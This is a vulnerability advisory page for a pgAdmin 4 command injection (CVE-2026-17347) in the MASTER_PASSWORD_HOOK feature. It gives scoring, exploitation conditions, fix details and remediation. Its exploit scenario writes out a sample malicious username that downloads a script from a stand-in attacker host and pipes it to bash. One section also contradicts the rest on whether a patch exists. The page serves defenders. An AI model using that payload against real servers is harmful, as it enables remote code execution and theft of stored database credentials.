Skip to main content

pgAdmin 4 CVE-2026-17347

| EUVDEUVD-2026-51560 HIGH
OS Command Injection (CWE-78)
2026-07-31 f86ef6dc-4d3a-42ad-8f28-e6d5547a5007 GHSA-f649-fjv9-qgcg
7.7
CVSS 4.0 · Vendor: f86ef6dc-4d3a-42ad-8f28-e6d5547a5007
View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Access
    Identify hook-enabled pgAdmin with external IdP
  2. Delivery
    Register or control identity with shell metacharacters in username
  3. Exploit
    Authenticate to pgAdmin via external IdP
  4. Execution
    pgAdmin substitutes username into shell command string
  5. Persist
    Shell interprets injected metacharacters at hook invocation
  6. Impact
    Execute arbitrary OS commands as pgAdmin service account

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization OS command sanitization, avoid shell exec
MITRE ATT&CK

2 techniques across 1 tactic: Execution

The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up.

Exploitation Conditions

Exploitation requires three simultaneous non-default conditions: (1) the pgAdmin deployment must have MASTER_PASSWORD_HOOK configured with the %u placeholder - this setting is absent from default pgAdmin installations and must be explicitly added by an administrator; (2) the deployment must use an external authentication source (OAuth2/OIDC claims, Kerberos principal names, or webserver-provided REMOTE_USER headers) rather than pgAdmin's built-in local user database, since pgAdmin validates locally created usernames on registration; and (3) the attacker must be able to control or influence the username value presented to pgAdmin - for example, by self-registering in a permissive OIDC provider, controlling a Kerberos principal with metacharacters, or compromising an upstream auth proxy. Deployments using only pgAdmin-local authentication are entirely unexploitable because usernames are validated at account creation. The attack is network-accessible but AC:H because both the hook configuration and the external-auth dependency must be present simultaneously.

Impact

The CVSS 4.0 vector (AV:N/AC:H/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N) scores 7.7 (High). AC:H correctly captures the two simultaneous non-default conditions required: MASTER_PASSWORD_HOOK must be configured with %u, and the deployment must use external authentication where the attacker can influence the username claim. PR:L reflects the need for a valid authenticated session, though in external-IdP deployments the attacker may self-register or control the identity presented. EPSS data is absent from available input and cannot be stated. No CISA KEV listing exists, and no confirmed public POC has been identified - however, the publicly available commit diff reveals the exact code delta, making independent reproduction straightforward. For the vast majority of pgAdmin deployments using default local authentication or without the hook configured, real-world risk is zero. For the subset using the hook with external IdP integration, the risk is severe: full OS command execution as the pgAdmin service account, which may hold database credentials, configuration secrets, and host-level access. This is a genuine priority for affected configurations rather than a high-CVSS-but-low-real-risk case.

Exploit ScenarioDerived

An attacker who can present an identity to pgAdmin via an external IdP (OAuth2, OIDC, or Kerberos) registers or crafts a username containing shell metacharacters - for example, alice$(curl http://attacker.com/implant.sh|bash) - and authenticates to a pgAdmin instance where MASTER_PASSWORD_HOOK is configured with %u. When pgAdmin calls get_master_password_from_master_hook() to retrieve the encryption key, the injected shell expression executes as the pgAdmin service account OS user. The attacker gains access to all secrets and credentials accessible to that account, including stored PostgreSQL connection passwords.

This Week Schedule remediation this week. Why: HIGH severity (CVSS 7.0-8.9).
Patch available 0.3% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv1 – Jul 31, 2026

Command injection in pgAdmin 4's MASTER_PASSWORD_HOOK feature exposes the pgAdmin service account to arbitrary OS command execution by any authenticated user whose identity originates from an external auth source (OAuth/OIDC, Kerberos, webserver headers). Affected deployments span versions 7.2 through 9.16, but only those with the hook configured to use the %u substitution token alongside an external IdP where usernames can be attacker-influenced. No public exploit code or CISA KEV listing exists at time of analysis; however, the commit diff publicly discloses the exact vulnerable code path, significantly lowering the barrier to independent exploit development.

RemediationAI

Upgrade pgAdmin 4 to version 9.17 or later, which replaces the vulnerable shell=True invocation with a properly tokenized argument vector and shell=False. The upstream fix is documented in commits e7a85767314e7b0fe0b35fe80b9c1af38f48dff6 and ea7e798aac27174d2bacee1d6e136bed76a95e23 at https://github.com/pgadmin-org/pgadmin4. Note that 9.17 is the stated fix boundary from the CVE description; confirm the version is available in your distribution's package feed before applying. If immediate upgrade is not possible, the most effective compensating control is to remove or nullify the MASTER_PASSWORD_HOOK setting entirely - this eliminates the attack surface with no impact on users who do not rely on the hook feature. If the hook must remain active, restrict the external IdP to issue only usernames composed of alphanumeric characters and a safe subset of punctuation (hyphens, underscores, dots) via attribute mapping or claims transformation at the IdP or reverse proxy layer before usernames reach pgAdmin; however, this control is fragile and upgrade is strongly preferred. Administrators whose hook strings previously relied on shell features (pipes, redirects, environment-variable expansion, globbing) must migrate that logic into the invoked script itself after upgrading, as the new implementation no longer passes the hook command through a shell interpreter.

Affected VersionsENISA

pgAdmin 4 7.2 <9.17

Affected Packages

euvd pgadmin_4 fix: 9.17

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 1 package in euvd

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

pgAdmin 4 is a widely used web-based administration tool for PostgreSQL databases. The MASTER_PASSWORD_HOOK setting, introduced in 7.2, allows an administrator to specify an external command that returns a per-user encryption key, with %u replaced by the authenticated username at runtime. The vulnerable implementation in web/pgadmin/utils/master_password.py called subprocess.Popen(cmd, shell=True) after directly substituting the username string - sourced from external authentication claims - into the command. CWE-78 (OS Command Injection) applies precisely because the untrusted username value was not confined to a single argument but instead exposed to full shell interpretation. The fix uses Python's shlex.shlex with posix=True and escape='' to tokenize the administrator-controlled hook string into an argv list first, then substitutes the username into individual argv slots, invoking the process with shell=False so the OS kernel never sees the username as shell syntax.

Know when Pgadmin 4 gets its next vulnerability

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

Vendor (f86ef6dc-4d3a-42ad-8f28-e6d5547a5007) PRIMARY 7.7 HIGH
CVSS:4.0/AV:N/AC:H/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N
vuln.today AI 7.5 HIGH

AC:H reflects two simultaneous non-default prerequisites (hook configured with %u and external auth with attacker-controlled usernames); PR:L for required authenticated session; S:U as impact remains within the pgAdmin service account boundary.

3.1 AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H
4.0 AV:N/AC:H/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N
SUSE 7.5 HIGH
AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H

Primary rating from Vendor (f86ef6dc-4d3a-42ad-8f28-e6d5547a5007).

CVSS VectorVendor: f86ef6dc-4d3a-42ad-8f28-e6d5547a5007

Attack Vector
Network
Attack Complexity
High
Attack Requirements
None
Privileges Required
Low
User Interaction
None
Vulnerable system: Confidentiality
High
Vulnerable system: Integrity
High
Vulnerable system: Availability
High
Subsequent system: Confidentiality
None
Subsequent system: Integrity
None
Subsequent system: Availability
None

Lifecycle Timeline

2
Patch available
Jul 31, 2026 - 17:01 EUVD
CVE Published
Jul 31, 2026 - 16:16 cve.org
HIGH 7.7

DescriptionCVE.org

The MASTER_PASSWORD_HOOK setting, introduced in pgAdmin 4 7.2, lets an administrator configure an external command that returns a per-user encryption key, with %u in the configured string replaced by the current user's name. The previous implementation substituted the username directly into the command string and executed the result with subprocess.Popen(..., shell=True). Because the username can originate from an external authentication source (OAuth/OIDC claims, Kerberos, webserver auth) rather than a value pgAdmin fully controls, a username containing shell metacharacters (';', '$()', backticks, pipes, '&&', newlines) allowed an authenticated user to execute arbitrary commands as the pgAdmin service account in any deployment where the configured hook string uses %u.

Fix tokenises the trusted, administrator-configured hook string into an argument vector first (using shlex in POSIX-quoting mode, with backslash-escaping disabled so Windows-style paths are not mis-parsed), substitutes the untrusted username into the individual argv elements, and executes with shell=False. The username is therefore always confined to a single argv element; any shell metacharacters it contains are inert. Administrators whose MASTER_PASSWORD_HOOK previously relied on shell features (pipes, redirection, environment-variable expansion, globbing) within the hook string itself must move that logic into the invoked script, since it is no longer interpreted by a shell.

This issue affects pgAdmin 4: from 7.2 before 9.17.

Executive ViewAI

Why It Matters

pgAdmin 4 (versions 7.2-9.16) contains a command injection vulnerability in the MASTER_PASSWORD_HOOK feature that allows authenticated external-auth users to execute arbitrary OS commands as the pgAdmin service account. This affects organizations using OAuth, OIDC, Kerberos, or webserver-header authentication with pgAdmin's hook feature configured using user-influenced substitution tokens. Successful exploitation could grant attackers database administrative privileges and broad infrastructure access.

Business Impact: High
Compensating Controls

Since no vendor-released patch is available, implement the following interim mitigations: (1) Disable MASTER_PASSWORD_HOOK entirely if not operationally required; (2) if required, remove the %u substitution token and reconfigure hooks to use only static or non-user-influenced variables; (3) restrict external authentication provider access to pgAdmin at network and IAM boundaries; (4) limit pgAdmin user provisioning from external identity providers to essential administrators; (5) enable detailed command execution logging and alerting for the pgAdmin service account; (6) consider deploying pgAdmin in an isolated network segment if external authentication is not operationally necessary; (7) monitor pgAdmin version announcements closely for patch availability and testing procedures.

Threat Intelligence Overview

EPSS Score
0.3%
Top 81% exploitable
Prevalence
Medium
widely used PostgreSQL GUI tool, not universally deployed in enterprise
Social Media
1
Sightings
Data Quality
8 sources
Confidence: High
EUVD NVD CVE.org EPSS Vulnrichment Vendor CIRCL GitHub VulDB

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity HIGH
CISA KEV No
Public POC No
EPSS 0.3%
Patch available Yes
Active threat No
Deciding rule
HIGH severity (CVSS 7.0-8.9)
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision
Scheduled
Exploitation
None
System Exposure· derived
Open
Automatable
No
Human Impact
High
Technical Impact
Total

Priority Score

38
Low Medium High Critical
KEV: 0
EPSS: 0
CVSS: +38
PoC: 0
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

OS command injection occurs when an application passes unsanitized user input directly into system shell commands.

CVE-2025-2945 CRITICAL POC
9.9 Apr 03

pgAdmin 4 contains critical remote code execution vulnerabilities in the Query Tool download and Cloud Deployment endpoi

CVE-2024-2044 CRITICAL POC
9.9 Mar 07

pgAdmin <= 8.3 is affected by a path-traversal vulnerability while deserializing users’ sessions in the session handling

CVE-2024-3116 CRITICAL POC
9.8 Apr 04

pgAdmin <= 8.4 is affected by a Remote Code Execution (RCE) vulnerability through the validate binary path API. Rated cr

CVE-2026-12046 CRITICAL POC
9.5 Jun 18

Remote unauthenticated access to two SQL Editor endpoints in pgAdmin 4 server-mode deployments (versions 6.9 through 9.1

CVE-2022-4223 HIGH POC
8.8 Dec 13

The pgAdmin server includes an HTTP API that is intended to be used to validate the path a user selects to external Post

CVE-2024-9014 MEDIUM POC
6.5 Sep 23

pgAdmin versions 8.11 and earlier are vulnerable to a security flaw in OAuth2 authentication. Rated medium severity (CVS

CVE-2025-12762 CRITICAL
9.8 Nov 13

Remote code execution in pgAdmin 4 (versions up to and including 9.9) lets an attacker who can get a crafted PLAIN-forma

CVE-2026-12045 CRITICAL
9.4 Jun 18

Remote SQL injection via prompt injection in pgAdmin 4 versions 9.13 through 9.15 allows attackers who can write content

CVE-2026-17351 CRITICAL
9.4 Jul 31

SQL injection sandbox escape in pgAdmin 4's AI Assistant (versions 9.13 through 9.16) lets an attacker break out of the

CVE-2026-17566 CRITICAL POC
9.4 Jul 31

OS command injection in pgAdmin 4 (all versions before 9.18) lets an authenticated user with the commonly-granted tools_

CVE-2026-7813 CRITICAL
9.4 May 11

Authorization bypass and privilege escalation in pgAdmin 4 server mode allows authenticated users to access other users'

CVE-2024-4216 MEDIUM POC
5.4 May 02

pgAdmin <= 8.5 is affected by XSS vulnerability in /settings/store API response json payload. Rated medium severity (CVS

Vendor StatusVendor

SUSE

Severity: Important
Product Status
SUSE Linux Enterprise Desktop 15 SP7 Not-Affected
SUSE Linux Enterprise High Performance Computing 15 SP7 Not-Affected
SUSE Linux Enterprise Module for Python 3 15 SP7 Not-Affected
SUSE Linux Enterprise Server 15 SP7 Not-Affected
SUSE Linux Enterprise Server for SAP Applications 15 SP7 Not-Affected

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy